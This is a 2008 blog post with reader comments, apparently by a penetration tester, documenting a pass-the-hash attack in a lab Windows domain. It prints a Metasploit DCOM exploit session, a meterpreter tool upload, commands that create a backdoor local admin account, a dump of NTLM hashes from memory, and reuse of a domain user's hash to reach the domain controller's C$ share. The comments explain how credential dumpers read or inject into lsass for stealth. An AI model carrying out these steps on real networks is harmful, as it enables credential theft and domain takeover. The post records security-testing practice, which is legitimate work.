Wednesday, March 5, 2008

msvctl -- pass the hash action

msvctl is very similar to the pass the hash toolkit. i couldnt get the pass the hash to work on my XP SP1 VM joined to the LSOCORP domain and was too lazy to update it just to play.

you can read more on msvctl here:

it essentially dumps current hashes from memory, you can then take one of those hashes and "pass it" and run commands as that user. so no more needing to crack hashes, you can pass it and be that person without it.

The scenario we find ourselves in at work, and why i am interested in getting this crap working is that, we pop a box on a domain with a remote exploit but we usually end up as SYSTEM. SYSTEM can do whatever it wants EXCEPT anything on the domain. i can do whatever i want on that box, but i dont have any privileges as far as the DC is concerned and that sux, because the goal is usually to be a domain or enterprise admin. we normally put a netcat type trojan in the startup folder and wait for an admin to log in, waiting sux, and i'm not a patient guy.

the demo in the link above he does with psexec, i'm on linux and things werent quite working out for me and it wasnt working with a meterpreter shell (probably a token issue thats probably why he did it with psexec). anyway, what i did was...

1. got a remote shell via dcom (yeah i know, if a demo, so shut up)

msf exploit(ms03_026_dcom) > exploit
[*] Started bind handler
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:[135] ...
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:[135] ...
[*] Sending exploit ...
[*] The DCERPC service did not reply to our request
[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (81931 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened ( ->
msf exploit(ms03_026_dcom) > sessions -l

Active sessions

Id Description Tunnel
-- ----------- ------
1 Meterpreter ->

msf exploit(ms03_026_dcom) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

2. created a temp directory and then uploaded msvctl.exe & msvctl.dll via meterpeter

meterpreter > upload
Usage: upload [options] src1 src2 src3 ... destination

Uploads local files and directories to the remote machine.


-r Upload recursively.
meterpreter > upload msvctl/msvctl_0.3/msvctl.exe msvctl.exe
[*] uploading : msvctl/msvctl_0.3/msvctl.exe -> msvctl.exe
[*] uploaded : msvctl/msvctl_0.3/msvctl.exe -> msvctl.exe
meterpreter > upload msvctl/msvctl_0.3/msvctl.dll msvctl.dll
[*] uploading : msvctl/msvctl_0.3/msvctl.dll -> msvctl.dll
[*] uploaded : msvctl/msvctl_0.3/msvctl.dll -> msvctl.dll

3. created a local account on the box and added it to the local admin group

meterpreter > execute -f cmd.exe -i -c -H
Process 404 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32\temp>net user localfun localfun /add
net user localfun localfun /add
The command completed successfully.

C:\WINDOWS\system32\temp>net localgroup administrators localfun /add
net localgroup administrators localfun /add
The command completed successfully.

4. logged into the box with my new local account via RDP

5. to test privileges i tried to map to the C drive of the domain controller

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\localfun>net use \\\c$
The password or user name is invalid for \\\c$.

Enter the user name for '': localfun
Enter the password for
System error 1326 has occurred.

Logon failure: unknown user name or bad password.

6. CD'ed into the msvctl temp directory and did a list to see what hashes were available. we see that we our credentials and domain user chris has logged on recently.

C:\WINDOWS\system32\temp>msvctl.exe list
luid 0-165157
XPSP1VM\localfun b5176bbcf86d7dc8e72c57ef50f76a05:cad3f54ce9a87c015262d0ae60bcb
luid 0-148121
LSOCORP\chris 19fe4717a7c8b55daad3b435b51404ee:f2c0c177de720154d024a26e09f0feb3

luid 0-43007
luid 0-997
luid 0-996
LSOCORP\XPSP1VM$ 00000000000000000000000000000000:70b9157dabc8abfe803e3fa4e4af4
luid 0-31757
LSOCORP\XPSP1VM$ 00000000000000000000000000000000:70b9157dabc8abfe803e3fa4e4af4
luid 0-999

7. inject a cmd.exe using LSOCORP\Chris hash and get a cmd.exe shell with his permissions.

C:\WINDOWS\system32\temp>msvctl.exe LSOCORP\chris 19fe4717a7c8b55daad3b435b51404
ee:f2c0c177de720154d024a26e09f0feb3 run cmd
info: running 'cmd '

**at this point i had another cmd.exe shell pop up, i was then able to map a share to the domain controller using that cmd.exe

C:\WINDOWS\system32>net use * \\\C$
Drive Z: is now connected to \\\C$.

The command completed successfully.

C:\WINDOWS\system32>net use
New connections will be remembered.

Status Local Remote Network

OK Z: \\\C$ Microsoft Windows Network
\\.host VMware Shared Folders
The command completed successfully.


Volume in drive Z has no label.
Volume Serial Number is 9CB6-7878

Directory of Z:\

05/04/2004 12:41 PM 0 AUTOEXEC.BAT
05/04/2004 12:41 PM 0 CONFIG.SYS
09/05/2007 02:44 PM Documents and Settings
08/12/2007 10:55 AM Inetpub
05/04/2004 03:54 AM Program Files
09/16/2007 01:57 PM WINDOWS
05/04/2004 12:42 PM wmpub
2 File(s) 0 bytes
5 Dir(s) 2,025,148,416 bytes free


8. Have peanutbutter jelly time :-)

**Now in this case we dont know that Chris is a local admin, but for the example he is. I also thought that doing a net user /domain or a net group /domain from that shell would return the information but it did not ;-( that's something to look in to.

TODO, get it working with psexec and see if can pull information from the domain with that shell



Anonymous said...

You can do a:
net localgroup administrators

And that will list who is a member. I f you wanted to check the user's AD membership I think it would probably have to be a WMI call, but you might be able to invoke WMIC and do it from in there. Or make a very simple VBS.

hernan said...

check out pass-the-hash toolkit v1.3:

now you have:

iam/whosthere: uses certain hardcoded addresses, but whosthere will steal credentials only by reading memory, without executing anything inside lsass.exe. This also makes it work on windows vista.

iam-alt/whosthere-alt: will perform
both actions executing code inside lsass.exe, what can be seen as a downside of this implementation,
but will also work on most versions of windows like msvctl/gsecdump without needing any hardcoded address. you pay a price but get, at some extent, a tool that works on more windows versions without modifications.

although with v1.3 I included an IDA Pro .IDC script to find the addresses you need to make iam/whosthere work almost anywhere.
And next version will also let you
specify addresses without having to recompile etc.

CG said...


if you are on a domain a net user /domain will give you a list of the users in the domain, same a as a net view /domain. it works if i log in as that user i tried to impersonate

i mentioned the pass the hash toolkit in the post, i started using it first but it wasnt working on the SP1 virtual machine. so i went with the other tool. I still have clone and update a VM to try the tool out. is there a reason why it WOULDNT work against XP SP1?


hernan said...

The idea is that

whosthere and iam are meant to be able to extract and modify credentials by JUST reading/writing lsass's memory. whosthere does that, iam does not, but it will.
Not having to execute anything inside lsass.exe is a plus for me.
more stealthy, works on vista, etc.

This means that whosthere knows how to read structures stored in memory by lsasrv.dll related to credentials.
In order to do this, at this point, I need five addresses or so inside lsasrv.dll, these are the addresses of the key used to encrypt the credentials, and the address of the structures holding the credentials, etc.
The tool has groups of addresses for the locations I mentioned above
for different versions, and what it does is use some heuristics to test those addresses to see which one is correct and which one to use (something like that).
If the lsasrv.dll you have is different from any of the one's I've seen and put into the tool, then it won't work by default. but you CAN make it work 'easily'. You just need the addresses, and for that, you can use the IDC script I relased. and yes, at this point, you need to rebuild the tool, but in the future you will not, and hopefully, I'll be able to come up with a better heuristic method to find the addresses and that will be the end of all this.

I tried to make whosthere do everything just by reading memory, because that makes it safer. Other methods require you to inject code inside lsass.exe and execute that code. Although there's no direct reason why this should fail :), just reading memory is completely safe, and you won't be in the situation where you are in an assessment and while trying to hack the machine you reboot it :).

So, basically, what I did, is that for those people that are more interested in having a tool that works on most platforms and don't want to be bother with getting addresses or don't care injecting code inside lsass.exe, I wrote from scratch iam-alt and whosthere-alt that use functions inside msv1_0.dll always injecting code insto lsass.exe. Finding the 3 functions the tools need to call is easer in this case.

this last method is, I think, the method used by gsecdump and probably by msvctl too.

I know ,is kind of complicated, I can try explain it again :).

CG said...

i think the issue is my VM, i'll try it out on something current and post up on how it goes.

thanks for the really good replies.